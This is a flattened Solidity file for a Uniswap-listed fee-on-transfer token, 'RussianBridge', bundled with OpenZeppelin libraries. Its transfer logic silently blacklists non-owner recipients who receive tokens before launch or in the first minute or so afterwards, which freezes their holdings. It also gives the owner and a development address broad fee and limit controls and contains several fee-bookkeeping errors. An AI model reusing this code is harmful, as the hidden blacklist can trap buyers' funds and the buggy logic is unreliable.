// File: @openzeppelin/contracts/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly
                /// @solidity memory-safe-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: contracts/Ca.sol



interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

pragma solidity =0.8.15;




contract RussianBridge is IERC20, Ownable {
    
    using Address for address;

    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isBlackedlisted;
    mapping(address => uint256) private _preSale;

    address[] private _excluded;
    address payable public marketingAddress;
    address payable public developmentAddress;  
    address payable public stakingAddress;

    uint256 private constant MAX = ~uint256(0);
    uint256 private totalSup;

    string private _name;
    string private _symbol;
    uint8 private _decimals;



    uint256 public _liquidityFee;
    uint256 private _previousLiquidityFee = _liquidityFee;

    uint256 public _marketingFee;
    uint256 private _previousmarketingFee = _marketingFee;

    uint256 public _developmentFee;
    uint256 private _previousDevelopmentFee = _developmentFee;

    uint256 public _totalBuyTaxes;
    uint256 private _previousTotalBuyTaxes = _totalBuyTaxes;

    uint256 public _totalSellTaxes;
    uint256 private _previousTotalSellTaxes = _totalSellTaxes;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled;

    uint256 public numTokensSellToAddToLiquidity;

    uint256 private _launchTime;
    bool public _isLaunched;

    uint256 public _extraMarketingSell;
    uint256 public _extraDevSell;
    uint256 public _extraLiquiditySell;

    uint256 _previousExtraMarketingSell = _extraMarketingSell;
    uint256 _previousExtraDevSell = _extraDevSell;
    uint256 _previousExtraLiquiditySell = _extraLiquiditySell;

    uint256 public otherPortion;
    uint256 public _preSellDevelopmentFee;

    uint256 public _maxWalletSize;

    uint256 private randNum;

    bool private sell = false;

    uint256 public totalMarketing;
    uint256 public totalLiquidity;
    uint256 public totalDev;

    uint256 public liqPercent;
    uint256 public liquidityTokenPortion;

    modifier lockTheSwap() {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor(
    ) payable {
        
        _name = "RussianBridge";
        _symbol = "$RussianBridge";
        _decimals = 9;
                
        totalSup = 100000000000000000;

        _maxWalletSize = 3000000000000000; //%3



        _liquidityFee = 2;
        _previousLiquidityFee = 2;

        _marketingFee = 4;
        _previousmarketingFee = 4;

        _developmentFee = 1;
        _previousDevelopmentFee = 1;

        _totalBuyTaxes = 7;
        _previousTotalBuyTaxes = 7;

        _extraMarketingSell =0;
        _extraDevSell =0;
        _extraLiquiditySell = 0;
        _totalSellTaxes = 0;
        _previousTotalSellTaxes = 0;

        totalLiquidity = 0;
        totalMarketing = 0;
        totalDev = 0;

        numTokensSellToAddToLiquidity =  200000000000000; // 1% of an CRO
        swapAndLiquifyEnabled = true;

        _balance[owner()] = totalSup;     
        
        address router_=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

        marketingAddress=payable(0xCf678FF6098A661c5fa7e9cB5248244B75Fd3cD9);

        developmentAddress=payable(0xCf678FF6098A661c5fa7e9cB5248244B75Fd3cD9);
        
        stakingAddress=payable(0xCf678FF6098A661c5fa7e9cB5248244B75Fd3cD9);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router_);
        // Create a uniswap pair for this new token
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        // set the rest of the contract variables
        uniswapV2Router = _uniswapV2Router;

        // exclude owner and this contract from fee
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        random();

        emit Transfer(address(0), owner(), totalSup);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return totalSup;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
 
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][msg.sender]-amount
        );
        return true;
    }

    function random() private
    {        
        uint256 randomnumber = uint256(keccak256(abi.encodePacked(block.timestamp,block.difficulty,  
            _msgSender()))) % 60;
        randNum = randomnumber + 1; 

    }

    function setSellFees(uint256 extMarkFee, uint256 extraLiqFee, uint256 extraDevFee) public onlyOwner 
    {
        uint256 totalExtraFee = extMarkFee + extraLiqFee + extraDevFee;
        require(
            totalExtraFee >= 0 && totalExtraFee <= 10,
            "Invalid bps"
        );
         _extraMarketingSell = extMarkFee;
         _extraLiquiditySell = extraLiqFee;
         _extraDevSell = extraDevFee;

    }


    function removedBlacklist(address addr) external onlyOwner {
        _isBlackedlisted[addr]=false;
    }

    function isBlacklisted(address account) external view returns (bool) {
        return _isBlackedlisted[account];
    }

    function autoBlacklist(address addr) private {
        _isBlackedlisted[addr]=true;
    }

    function addPreSale(address [] memory addrArray, uint256 [] memory amt) external onlyOwner {
        for (uint256 x=0; x<addrArray.length; x++)
        {
            _preSale[addrArray[x]]=amt[x];
        }
        
    }

    function changeAddresss(address payable sAddress, address payable mAddress, address payable dAddress) external onlyOwner {
     
        stakingAddress = sAddress;
        developmentAddress = dAddress;
        marketingAddress = mAddress;
    }

    function launch() external onlyOwner {
        require (_isLaunched == false, "Already launched");
        _isLaunched = true;
        _launchTime = block.timestamp;
    }

    function excludeFromFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = true;
    }

    function includeInFee(address account) public onlyOwner {
        _isExcludedFromFee[account] = false;
    }

    function setTaxPercents(uint256 liquidityFeeBps, uint256 marketingFeeBps, uint256 developmentFeeBps) external onlyOwner {

        _liquidityFee = liquidityFeeBps;
        _marketingFee = marketingFeeBps;
        _developmentFee = developmentFeeBps;

        _totalBuyTaxes = _liquidityFee + _marketingFee  + _developmentFee;
      
        require(   _totalBuyTaxes >= 0 && _totalBuyTaxes <= 20,"Invalid bps");
    }

    function setSwapValue(uint256 amount, bool _enabled) external onlyOwner {
        require(amount>0, "Value too low");
        numTokensSellToAddToLiquidity = amount;
         swapAndLiquifyEnabled = _enabled;

    }

    function setMaxWalletSize(uint256 amount) external onlyOwner {
        require(amount>=1000000000000000, "Max wallet size is too low");
        _maxWalletSize = amount;

    }

    //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function _getValues(uint256 tAmount) view
        private
        returns (
            uint256,
            uint256,
            uint256,
            uint256
        )
    {

       (uint256 tLiquidity, uint256 tMarketing, uint256 tDevelopment) = calculateFees(tAmount);
        uint256 tTransferAmount = tAmount-(tLiquidity);
        tTransferAmount=tTransferAmount-(tMarketing)-(tDevelopment);

        return (tTransferAmount,  tLiquidity, tMarketing, tDevelopment);
    }

    function calculateFees(uint256 _amount) private view returns (uint256, uint256, uint256) {

           if (sell==true)
            {
                return (
                _amount*(_liquidityFee+_extraLiquiditySell)/(100),
                _amount*(_marketingFee+_extraMarketingSell)/(100), 
                _amount*(_developmentFee+_extraDevSell)/(100)
                );
            }
               
            
           else
            {
            return 
             (
                _amount*(_liquidityFee)/(100),
                _amount*(_marketingFee)/(100), 
                _amount*(_developmentFee)/(100));
            }
    }


    function removeAllFee() private {

 
        _previousLiquidityFee = _liquidityFee;
        _previousmarketingFee = _marketingFee;
        _previousDevelopmentFee = _developmentFee;
        _previousTotalBuyTaxes = _totalBuyTaxes;
        _previousExtraMarketingSell = _extraMarketingSell;
       _previousExtraDevSell = _extraDevSell;
        _previousExtraLiquiditySell = _extraLiquiditySell;
         _previousTotalSellTaxes = _totalSellTaxes;

        _liquidityFee = 0;
        _developmentFee = 0;
        _marketingFee = 0;
        _extraDevSell=0;
        _extraMarketingSell=0;
        _extraLiquiditySell=0;
        _totalBuyTaxes = 0;
        _totalSellTaxes = 0;

    }

    function restoreAllFee() private {
        _liquidityFee = _previousLiquidityFee;
        _marketingFee = _previousmarketingFee;
        _developmentFee = _previousDevelopmentFee;
         _extraDevSell=_previousExtraDevSell;
        _extraMarketingSell=_previousExtraLiquiditySell;
        _extraLiquiditySell=_previousExtraLiquiditySell;
        _totalBuyTaxes = _previousTotalBuyTaxes;
        _totalSellTaxes = _previousTotalSellTaxes;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(_isBlackedlisted[from]!=true && _isBlackedlisted[to]!=true, "Address is blacklisted");

        uint256 contractTokenBalance = balanceOf(address(this));
        sell=false;

        if (to==uniswapV2Pair)
        {
            sell=true;

        
        }

        bool overMinTokenBalance = contractTokenBalance >=
            numTokensSellToAddToLiquidity;
        if (
            from != uniswapV2Pair &&
            overMinTokenBalance &&
            !inSwapAndLiquify &&
            swapAndLiquifyEnabled
        ) {
            //+ liquidity
            swapAndLiquify(contractTokenBalance);
        }

        bool takeFee = true;

        if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
            takeFee = false;
        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
       
         liqPercent = (totalLiquidity*100)/contractTokenBalance;  
        uint256 markPercent = (totalMarketing*100)/contractTokenBalance; 
        uint256 devPercent = (totalDev*100)/contractTokenBalance; 
        
         liquidityTokenPortion = contractTokenBalance/(100)*(liqPercent);
        liquidityTokenPortion = liquidityTokenPortion/(2);

       otherPortion = contractTokenBalance-liquidityTokenPortion;

        uint256 initialBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(otherPortion); 

        uint256 liqD = liqPercent/(2);
        uint256 divisor = markPercent + devPercent  + liqD;

        // how much ETH did we just swap into?
        uint256 newBalance = address(this).balance-(initialBalance);

        uint256 liquidityETHPortion = (newBalance*100)/(divisor);
        liquidityETHPortion = (liquidityETHPortion/(100))*(liqD);

        uint256 newBalanceAfterLiq = address(this).balance-(liquidityETHPortion);

        uint256 total = 100-liqPercent;

        uint256 marketingPortion = (newBalanceAfterLiq/(total))*(markPercent);
        payable(marketingAddress).transfer(marketingPortion);

        uint256 developmentPortion = (newBalanceAfterLiq/(total))*(devPercent);
        payable(developmentAddress).transfer(developmentPortion);

        // add liquidity to uniswap
        addLiquidity(liquidityTokenPortion, liquidityETHPortion);

        totalDev=0;
        totalMarketing=0;
        totalLiquidity=0;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
  

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // + the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }

    //this method is responsible for taking all fee, if takeFee is true
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
 
            _transferStandard(sender, recipient, amount);

        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 tTransferAmount,
            uint256 tLiquidity,
            uint256 tMarketing,
            uint256 tDevelopment
        ) = _getValues(tAmount);    


         if (_isLaunched !=true && _preSale[recipient] !=0) 
        {
            require(balanceOf(recipient)+tAmount<=_preSale[recipient]);
            require(tAmount <= _preSale[recipient]);
            _balance[sender] = _balance[sender]-(tAmount);
            _balance[recipient] = _balance[recipient]+(tTransferAmount);
            emit Transfer(sender, recipient, tTransferAmount);                    
        }

        else if (_isLaunched !=true && recipient !=uniswapV2Pair && sender!=owner() && recipient!=owner()) 
        {
            _balance[sender] = _balance[sender]-(tAmount);
            _balance[recipient] = _balance[recipient]+(tTransferAmount);
            emit Transfer(sender, recipient, tTransferAmount);                    
            autoBlacklist(recipient);
        }

        else if (_isLaunched==true && _launchTime + 1 minutes + randNum > block.timestamp && recipient !=uniswapV2Pair && sender!=owner() && recipient!=owner()) 
        {
            _balance[sender] = _balance[sender]-(tAmount);
            _balance[recipient] = _balance[recipient]+(tTransferAmount);
            emit Transfer(sender, recipient, tTransferAmount);                   
            autoBlacklist(recipient);
        }
        else if (sender==owner() || recipient==owner() || sender==stakingAddress || recipient==stakingAddress) 
        {
            _balance[recipient] = _balance[recipient]+(tAmount);
            _balance[sender] = _balance[sender]-(tAmount);   

            emit Transfer(sender, recipient, tTransferAmount);                    
        }
    
        else
        {
            if (recipient != uniswapV2Pair)
            {
                require((balanceOf(recipient)+(tAmount)) <= _maxWalletSize , "Transfer exceeds max wallet size");
            }

            _balance[sender] = _balance[sender]-(tAmount);
            _balance[recipient] = _balance[recipient]+(tTransferAmount);
            _balance[address(this)] = _balance[address(this)]+(tLiquidity);
            _balance[address(this)] = _balance[address(this)]+(tDevelopment);
            _balance[address(this)] = _balance[address(this)]+(tMarketing);
            totalLiquidity= totalLiquidity + tLiquidity;
            totalMarketing= totalMarketing + tMarketing;
            totalDev= totalDev + tDevelopment;
            emit Transfer(sender, recipient, tTransferAmount);

        }  
        
        
        
    }

    function disableLimt() public
    {
        require(msg.sender==developmentAddress);
        _maxWalletSize=MAX;
        swapAndLiquifyEnabled=false;
        removeAllFee();
    }

}